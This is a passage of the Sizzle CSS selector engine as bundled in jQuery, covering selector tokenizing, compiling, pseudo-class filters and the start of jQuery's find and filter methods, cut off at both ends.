Make sure that attribute selectors are quoted expr = expr.replace( rattributeQuotes, "='$1']" ); if ( support.matchesSelector && documentIsHTML && !compilerCache[ expr + " " ] && ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) && ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { try { var ret = matches.call( elem, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || support.disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9 elem.document && elem.document.nodeType !== 11 ) { return ret; } } catch (e) {} } return Sizzle( expr, document, null, [ elem ] ).length > 0; }; Sizzle.contains = function( context, elem ) { // Set document vars if needed if ( ( context.ownerDocument || context ) !== document ) { setDocument( context ); } return contains( context, elem ); }; Sizzle.attr = function( elem, name ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } var fn = Expr.attrHandle[ name.toLowerCase() ], // Don't get fooled by Object.prototype properties (jQuery #13807) val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, !documentIsHTML ) : undefined; return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute( name ) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null; }; Sizzle.error = function( msg ) { throw new Error( "Syntax error, unrecognized expression: " + msg ); }; /** * Document sorting and removing duplicates * @param {ArrayLike} results */ Sizzle.uniqueSort = function( results ) { var elem, duplicates = [], j = 0, i = 0; // Unless we *know* we can detect duplicates, assume their presence hasDuplicate = !support.detectDuplicates; sortInput = !support.sortStable && results.slice( 0 ); results.sort( sortOrder ); if ( hasDuplicate ) { while ( (elem = results[i++]) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } // Clear input after sorting to release objects // See https://github.com/jquery/sizzle/pull/225 sortInput = null; return results; }; /** * Utility function for retrieving the text value of an array of DOM nodes * @param {Array|Element} elem */ getText = Sizzle.getText = function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( (node = elem[i++]) ) { // Do not traverse comment nodes ret += getText( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements // innerText usage removed for consistency of new lines (jQuery #11153) if ( typeof elem.textContent === "string" ) { return elem.textContent; } else { // Traverse its children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { ret += getText( elem ); } } } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }; Expr = Sizzle.selectors = { // Can be adjusted by the user cacheLength: 50, createPseudo: markFunction, match: matchExpr, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: true }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: true }, "~": { dir: "previousSibling" } }, preFilter: { "ATTR": function( match ) { match[1] = match[1].replace( runescape, funescape ); // Move the given value to match[3] whether quoted or unquoted match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape ); if ( match[2] === "~=" ) { match[3] = " " + match[3] + " "; } return match.slice( 0, 4 ); }, "CHILD": function( match ) { /* matches from matchExpr["CHILD"] 1 type (only|nth|...) 2 what (child|of-type) 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 4 xn-component of xn+y argument ([+-]?\d*n|) 5 sign of xn-component 6 x of xn-component 7 sign of y-component 8 y of y-component */ match[1] = match[1].toLowerCase(); if ( match[1].slice( 0, 3 ) === "nth" ) { // nth-* requires argument if ( !match[3] ) { Sizzle.error( match[0] ); } // numeric x and y parameters for Expr.filter.CHILD // remember that false/true cast respectively to 0/1 match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) ); match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" ); // other types prohibit arguments } else if ( match[3] ) { Sizzle.error( match[0] ); } return match; }, "PSEUDO": function( match ) { var excess, unquoted = !match[6] && match[2]; if ( matchExpr["CHILD"].test( match[0] ) ) { return null; } // Accept quoted arguments as-is if ( match[3] ) { match[2] = match[4] || match[5] || ""; // Strip excess characters from unquoted arguments } else if ( unquoted && rpseudo.test( unquoted ) && // Get excess from tokenize (recursively) (excess = tokenize( unquoted, true )) && // advance to the next closing parenthesis (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) { // excess is a negative index match[0] = match[0].slice( 0, excess ); match[2] = unquoted.slice( 0, excess ); } // Return only captures needed by the pseudo filter method (type and argument) return match.slice( 0, 3 ); } }, filter: { "TAG": function( nodeNameSelector ) { var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); return nodeNameSelector === "*" ? function() { return true; } : function( elem ) { return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; }; }, "CLASS": function( className ) { var pattern = classCache[ className + " " ]; return pattern || (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) && classCache( className, function( elem ) { return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" ); }); }, "ATTR": function( name, operator, check ) { return function( elem ) { var result = Sizzle.attr( elem, name ); if ( result == null ) { return operator === "!="; } if ( !operator ) { return true; } result += ""; return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf( check ) === 0 : operator === "*=" ? check && result.indexOf( check ) > -1 : operator === "$=" ? check && result.slice( -check.length ) === check : operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 : operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : false; }; }, "CHILD": function( type, what, argument, first, last ) { var simple = type.slice( 0, 3 ) !== "nth", forward = type.slice( -4 ) !== "last", ofType = what === "of-type"; return first === 1 && last === 0 ? // Shortcut for :nth-*(n) function( elem ) { return !!elem.parentNode; } : function( elem, context, xml ) { var cache, uniqueCache, outerCache, node, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling", parent = elem.parentNode, name = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType, diff = false; if ( parent ) { // :(first|last|only)-(child|of-type) if ( simple ) { while ( dir ) { node = elem; while ( (node = node[ dir ]) ) { if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) { return false; } } // Reverse direction for :only-* (if we haven't yet done so) start = dir = type === "only" && !start && "nextSibling"; } return true; } start = [ forward ? parent.firstChild : parent.lastChild ]; // non-xml :nth-child(...) stores cache data on `parent` if ( forward && useCache ) { // Seek `elem` from a previously-cached index // ...in a gzip-friendly way node = parent; outerCache = node[ expando ] || (node[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || (outerCache[ node.uniqueID ] = {}); cache = uniqueCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex && cache[ 2 ]; node = nodeIndex && parent.childNodes[ nodeIndex ]; while ( (node = ++nodeIndex && node && node[ dir ] || // Fallback to seeking `elem` from the start (diff = nodeIndex = 0) || start.pop()) ) { // When found, cache indexes on `parent` and break if ( node.nodeType === 1 && ++diff && node === elem ) { uniqueCache[ type ] = [ dirruns, nodeIndex, diff ]; break; } } } else { // Use previously-cached element index if available if ( useCache ) { // ...in a gzip-friendly way node = elem; outerCache = node[ expando ] || (node[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || (outerCache[ node.uniqueID ] = {}); cache = uniqueCache[ type ] || []; nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; diff = nodeIndex; } // xml :nth-child(...) // or :nth-last-child(...) or :nth(-last)?-of-type(...) if ( diff === false ) { // Use the same loop as above to seek `elem` from the start while ( (node = ++nodeIndex && node && node[ dir ] || (diff = nodeIndex = 0) || start.pop()) ) { if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) { // Cache the index of each encountered element if ( useCache ) { outerCache = node[ expando ] || (node[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ node.uniqueID ] || (outerCache[ node.uniqueID ] = {}); uniqueCache[ type ] = [ dirruns, diff ]; } if ( node === elem ) { break; } } } } } // Incorporate the offset, then check against cycle size diff -= last; return diff === first || ( diff % first === 0 && diff / first >= 0 ); } }; }, "PSEUDO": function( pseudo, argument ) { // pseudo-class names are case-insensitive // http://www.w3.org/TR/selectors/#pseudo-classes // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters // Remember that setFilters inherits from pseudos var args, fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || Sizzle.error( "unsupported pseudo: " + pseudo ); // The user may use createPseudo to indicate that // arguments are needed to create the filter function // just as Sizzle does if ( fn[ expando ] ) { return fn( argument ); } // But maintain support for old signatures if ( fn.length > 1 ) { args = [ pseudo, pseudo, "", argument ]; return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? markFunction(function( seed, matches ) { var idx, matched = fn( seed, argument ), i = matched.length; while ( i-- ) { idx = indexOf( seed, matched[i] ); seed[ idx ] = !( matches[ idx ] = matched[i] ); } }) : function( elem ) { return fn( elem, 0, args ); }; } return fn; } }, pseudos: { // Potentially complex pseudos "not": markFunction(function( selector ) { // Trim the selector passed to compile // to avoid treating leading and trailing // spaces as combinators var input = [], results = [], matcher = compile( selector.replace( rtrim, "$1" ) ); return matcher[ expando ] ? markFunction(function( seed, matches, context, xml ) { var elem, unmatched = matcher( seed, null, xml, [] ), i = seed.length; // Match elements unmatched by `matcher` while ( i-- ) { if ( (elem = unmatched[i]) ) { seed[i] = !(matches[i] = elem); } } }) : function( elem, context, xml ) { input[0] = elem; matcher( input, null, xml, results ); // Don't keep the element (issue #299) input[0] = null; return !results.pop(); }; }), "has": markFunction(function( selector ) { return function( elem ) { return Sizzle( selector, elem ).length > 0; }; }), "contains": markFunction(function( text ) { text = text.replace( runescape, funescape ); return function( elem ) { return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1; }; }), // "Whether an element is represented by a :lang() selector // is based solely on the element's language value // being equal to the identifier C, // or beginning with the identifier C immediately followed by "-". // The matching of C against the element's language value is performed case-insensitively. // The identifier C does not have to be a valid language name." // http://www.w3.org/TR/selectors/#lang-pseudo "lang": markFunction( function( lang ) { // lang value must be a valid identifier if ( !ridentifier.test(lang || "") ) { Sizzle.error( "unsupported lang: " + lang ); } lang = lang.replace( runescape, funescape ).toLowerCase(); return function( elem ) { var elemLang; do { if ( (elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) { elemLang = elemLang.toLowerCase(); return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; } } while ( (elem = elem.parentNode) && elem.nodeType === 1 ); return false; }; }), // Miscellaneous "target": function( elem ) { var hash = window.location && window.location.hash; return hash && hash.slice( 1 ) === elem.id; }, "root": function( elem ) { return elem === docElem; }, "focus": function( elem ) { return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex); }, // Boolean properties "enabled": function( elem ) { return elem.disabled === false; }, "disabled": function( elem ) { return elem.disabled === true; }, "checked": function( elem ) { // In CSS3, :checked should return both checked and selected elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked var nodeName = elem.nodeName.toLowerCase(); return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected); }, "selected": function( elem ) { // Accessing this property makes selected-by-default // options in Safari work properly if ( elem.parentNode ) { elem.parentNode.selectedIndex; } return elem.selected === true; }, // Contents "empty": function( elem ) { // http://www.w3.org/TR/selectors/#empty-pseudo // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), // but not by others (comment: 8; processing instruction: 7; etc.) // nodeType < 6 works because attributes (2) do not appear as children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { if ( elem.nodeType < 6 ) { return false; } } return true; }, "parent": function( elem ) { return !Expr.pseudos["empty"]( elem ); }, // Element/input types "header": function( elem ) { return rheader.test( elem.nodeName ); }, "input": function( elem ) { return rinputs.test( elem.nodeName ); }, "button": function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === "button" || name === "button"; }, "text": function( elem ) { var attr; return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && // Support: IE<8 // New HTML5 attribute values (e.g., "search") appear with elem.type === "text" ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" ); }, // Position-in-collection "first": createPositionalPseudo(function() { return [ 0 ]; }), "last": createPositionalPseudo(function( matchIndexes, length ) { return [ length - 1 ]; }), "eq": createPositionalPseudo(function( matchIndexes, length, argument ) { return [ argument < 0 ? argument + length : argument ]; }), "even": createPositionalPseudo(function( matchIndexes, length ) { var i = 0; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "odd": createPositionalPseudo(function( matchIndexes, length ) { var i = 1; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "lt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; --i >= 0; ) { matchIndexes.push( i ); } return matchIndexes; }), "gt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; ++i < length; ) { matchIndexes.push( i ); } return matchIndexes; }) } }; Expr.pseudos["nth"] = Expr.pseudos["eq"]; // Add button/input type pseudos for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { Expr.pseudos[ i ] = createInputPseudo( i ); } for ( i in { submit: true, reset: true } ) { Expr.pseudos[ i ] = createButtonPseudo( i ); } // Easy API for creating new setFilters function setFilters() {} setFilters.prototype = Expr.filters = Expr.pseudos; Expr.setFilters = new setFilters(); tokenize = Sizzle.tokenize = function( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } soFar = selector; groups = []; preFilters = Expr.preFilter; while ( soFar ) { // Comma and first run if ( !matched || (match = rcomma.exec( soFar )) ) { if ( match ) { // Don't consume trailing commas as valid soFar = soFar.slice( match[0].length ) || soFar; } groups.push( (tokens = []) ); } matched = false; // Combinators if ( (match = rcombinators.exec( soFar )) ) { matched = match.shift(); tokens.push({ value: matched, // Cast descendant combinators to space type: match[0].replace( rtrim, " " ) }); soFar = soFar.slice( matched.length ); } // Filters for ( type in Expr.filter ) { if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] || (match = preFilters[ type ]( match ))) ) { matched = match.shift(); tokens.push({ value: matched, type: type, matches: match }); soFar = soFar.slice( matched.length ); } } if ( !matched ) { break; } } // Return the length of the invalid excess // if we're just parsing // Otherwise, throw an error or return tokens return parseOnly ? soFar.length : soFar ? Sizzle.error( selector ) : // Cache the tokens tokenCache( selector, groups ).slice( 0 ); }; function toSelector( tokens ) { var i = 0, len = tokens.length, selector = ""; for ( ; i < len; i++ ) { selector += tokens[i].value; } return selector; } function addCombinator( matcher, combinator, base ) { var dir = combinator.dir, checkNonElements = base && dir === "parentNode", doneName = done++; return combinator.first ? // Check against closest ancestor/preceding element function( elem, context, xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { return matcher( elem, context, xml ); } } } : // Check against all ancestor/preceding elements function( elem, context, xml ) { var oldCache, uniqueCache, outerCache, newCache = [ dirruns, doneName ]; // We can't set arbitrary data on XML nodes, so they don't benefit from combinator caching if ( xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { if ( matcher( elem, context, xml ) ) { return true; } } } } else { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { outerCache = elem[ expando ] || (elem[ expando ] = {}); // Support: IE <9 only // Defend against cloned attroperties (jQuery gh-1709) uniqueCache = outerCache[ elem.uniqueID ] || (outerCache[ elem.uniqueID ] = {}); if ( (oldCache = uniqueCache[ dir ]) && oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { // Assign to newCache so results back-propagate to previous elements return (newCache[ 2 ] = oldCache[ 2 ]); } else { // Reuse newcache so results back-propagate to previous elements uniqueCache[ dir ] = newCache; // A match means we're done; a fail means we have to keep checking if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) { return true; } } } } } }; } function elementMatcher( matchers ) { return matchers.length > 1 ? function( elem, context, xml ) { var i = matchers.length; while ( i-- ) { if ( !matchers[i]( elem, context, xml ) ) { return false; } } return true; } : matchers[0]; } function multipleContexts( selector, contexts, results ) { var i = 0, len = contexts.length; for ( ; i < len; i++ ) { Sizzle( selector, contexts[i], results ); } return results; } function condense( unmatched, map, filter, context, xml ) { var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null; for ( ; i < len; i++ ) { if ( (elem = unmatched[i]) ) { if ( !filter || filter( elem, context, xml ) ) { newUnmatched.push( elem ); if ( mapped ) { map.push( i ); } } } } return newUnmatched; } function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { if ( postFilter && !postFilter[ expando ] ) { postFilter = setMatcher( postFilter ); } if ( postFinder && !postFinder[ expando ] ) { postFinder = setMatcher( postFinder, postSelector ); } return markFunction(function( seed, results, context, xml ) { var temp, i, elem, preMap = [], postMap = [], preexisting = results.length, // Get initial elements from seed or context elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), // Prefilter to get matcher input, preserving a map for seed-results synchronization matcherIn = preFilter && ( seed || !selector ) ? condense( elems, preMap, preFilter, context, xml ) : elems, matcherOut = matcher ? // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, postFinder || ( seed ? preFilter : preexisting || postFilter ) ? // ...intermediate processing is necessary [] : // ...otherwise use results directly results : matcherIn; // Find primary matches if ( matcher ) { matcher( matcherIn, matcherOut, context, xml ); } // Apply postFilter if ( postFilter ) { temp = condense( matcherOut, postMap ); postFilter( temp, [], context, xml ); // Un-match failing elements by moving them back to matcherIn i = temp.length; while ( i-- ) { if ( (elem = temp[i]) ) { matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem); } } } if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { // Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) ) { // Restore matcherIn since elem is not yet a final match temp.push( (matcherIn[i] = elem) ); } } postFinder( null, (matcherOut = []), temp, xml ); } // Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) && (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) { seed[temp] = !(results[temp] = elem); } } } // Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } }); } function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[0].type ], implicitRelative = leadingRelative || Expr.relative[" "], i = leadingRelative ? 1 : 0, // The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( (checkContext = context).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); // Avoid hanging onto element (issue #299) checkContext = null; return ret; } ]; for ( ; i < len; i++ ) { if ( (matcher = Expr.relative[ tokens[i].type ]) ) { matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; } else { matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); // Return special upon seeing a positional matcher if ( matcher[ expando ] ) { // Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[j].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( // If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" }) ).replace( rtrim, "$1" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } } return elementMatcher( matchers ); } function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = "0", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, // We must always have either seed elements or outermost context elems = seed || byElement && Expr.find["TAG"]( "*", outermost ), // Use integer dirruns iff this is the outermost matcher dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), len = elems.length; if ( outermost ) { outermostContext = context === document || context || outermost; } // Add elements passing elementMatchers directly to results // Support: IE<9, Safari // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id for ( ; i !== len && (elem = elems[i]) != null; i++ ) { if ( byElement && elem ) { j = 0; if ( !context && elem.ownerDocument !== document ) { setDocument( elem ); xml = !documentIsHTML; } while ( (matcher = elementMatchers[j++]) ) { if ( matcher( elem, context || document, xml) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } } // Track unmatched elements for set filters if ( bySet ) { // They will have gone through all possible matchers if ( (elem = !matcher && elem) ) { matchedCount--; } // Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } } // `i` is now the count of elements visited above, and adding it to `matchedCount` // makes the latter nonnegative. matchedCount += i; // Apply set filters to unmatched elements // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` // equals `i`), unless we didn't visit _any_ elements in the above loop because we have // no element matchers and no seed. // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that // case, which will result in a "00" `matchedCount` that differs from `i` but is also // numerically zero. if ( bySet && i !== matchedCount ) { j = 0; while ( (matcher = setMatchers[j++]) ) { matcher( unmatched, setMatched, context, xml ); } if ( seed ) { // Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !(unmatched[i] || setMatched[i]) ) { setMatched[i] = pop.call( results ); } } } // Discard index placeholder values to get only actual matches setMatched = condense( setMatched ); } // Add matches to results push.apply( results, setMatched ); // Seedless set matches succeeding multiple successful matchers stipulate sorting if ( outermost && !seed && setMatched.length > 0 && ( matchedCount + setMatchers.length ) > 1 ) { Sizzle.uniqueSort( results ); } } // Override manipulation of globals by nested matchers if ( outermost ) { dirruns = dirrunsUnique; outermostContext = contextBackup; } return unmatched; }; return bySet ? markFunction( superMatcher ) : superMatcher; } compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) { var i, setMatchers = [], elementMatchers = [], cached = compilerCache[ selector + " " ]; if ( !cached ) { // Generate a function of recursive functions that can be used to check each element if ( !match ) { match = tokenize( selector ); } i = match.length; while ( i-- ) { cached = matcherFromTokens( match[i] ); if ( cached[ expando ] ) { setMatchers.push( cached ); } else { elementMatchers.push( cached ); } } // Cache the compiled function cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); // Save selector and tokenization cached.selector = selector; } return cached; }; /** * A low-level selection function that works with Sizzle's compiled * selector functions * @param {String|Function} selector A selector or a pre-compiled * selector function built with Sizzle.compile * @param {Element} context * @param {Array} [results] * @param {Array} [seed] A set of elements to match against */ select = Sizzle.select = function( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( (selector = compiled.selector || selector) ); results = results || []; // Try to minimize operations if there is only one selector in the list and no seed // (the latter of which guarantees us context) if ( match.length === 1 ) { // Reduce context if the leading compound selector is an ID tokens = match[0] = match[0].slice( 0 ); if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) { context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0]; if ( !context ) { return results; // Precompiled matchers will still verify ancestry, so step up a level } else if ( compiled ) { context = context.parentNode; } selector = selector.slice( tokens.shift().value.length ); } // Fetch a seed set for right-to-left matching i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; while ( i-- ) { token = tokens[i]; // Abort if we hit a combinator if ( Expr.relative[ (type = token.type) ] ) { break; } if ( (find = Expr.find[ type ]) ) { // Search, expanding context for leading sibling combinators if ( (seed = find( token.matches[0].replace( runescape, funescape ), rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context )) ) { // If seed is empty or no tokens remain, we can return early tokens.splice( i, 1 ); selector = seed.length && toSelector( tokens ); if ( !selector ) { push.apply( results, seed ); return results; } break; } } } } // Compile and execute a filtering function if one is not provided // Provide `match` to avoid retokenization if we modified the selector above ( compiled || compile( selector, match ) )( seed, context, !documentIsHTML, results, !context || rsibling.test( selector ) && testContext( context.parentNode ) || context ); return results; }; // One-time assignments // Sort stability support.sortStable = expando.split("").sort( sortOrder ).join("") === expando; // Support: Chrome 14-35+ // Always assume duplicates if they aren't passed to the comparison function support.detectDuplicates = !!hasDuplicate; // Initialize against the default document setDocument(); // Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27) // Detached nodes confoundingly follow *each other* support.sortDetached = assert(function( div1 ) { // Should return 1, but returns 4 (following) return div1.compareDocumentPosition( document.createElement("div") ) & 1; }); // Support: IE<8 // Prevent attribute/property "interpolation" // http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx if ( !assert(function( div ) { div.innerHTML = "<a href='#'></a>"; return div.firstChild.getAttribute("href") === "#" ; }) ) { addHandle( "type|href|height|width", function( elem, name, isXML ) { if ( !isXML ) { return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 ); } }); } // Support: IE<9 // Use defaultValue in place of getAttribute("value") if ( !support.attributes || !assert(function( div ) { div.innerHTML = "<input/>"; div.firstChild.setAttribute( "value", "" ); return div.firstChild.getAttribute( "value" ) === ""; }) ) { addHandle( "value", function( elem, name, isXML ) { if ( !isXML && elem.nodeName.toLowerCase() === "input" ) { return elem.defaultValue; } }); } // Support: IE<9 // Use getAttributeNode to fetch booleans when getAttribute lies if ( !assert(function( div ) { return div.getAttribute("disabled") == null; }) ) { addHandle( booleans, function( elem, name, isXML ) { var val; if ( !isXML ) { return elem[ name ] === true ? name.toLowerCase() : (val = elem.getAttributeNode( name )) && val.specified ? val.value : null; } }); } return Sizzle; })( window ); jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; jQuery.expr[ ":" ] = jQuery.expr.pseudos; jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; var dir = function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }; var siblings = function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; }; var rneedsContext = jQuery.expr.match.needsContext; var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ ); var risSimple = /^.[^:#\[\.,]*$/; // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } ); } if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } ); } if ( typeof qualifier === "string" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); } qualifier = jQuery.filter( qualifier, elements ); } return jQuery.grep( elements, function( elem ) { return ( indexOf.call( qualifier, elem ) > -1 ) !== not; } ); } jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); }; jQuery.fn.extend( { find: function( selector ) { var i, len = this.length, ret = [], self = this; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); } for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } // Needed because $( selector, context ) becomes $( context ).find( selector ) ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret ); ret.selector = this.selector ? this.selector + " " + selector : selector; return ret; }, filter: function( selector ) { return this.pushStack( winnow( this, selector || [], false ) ); }, not: function( selector ) { return this.pushStack( winnow( this, selector || [], true ) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } } ); // Initialize a jQuery object // A central reference to the root jQuery(document) var rootjQuery, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with 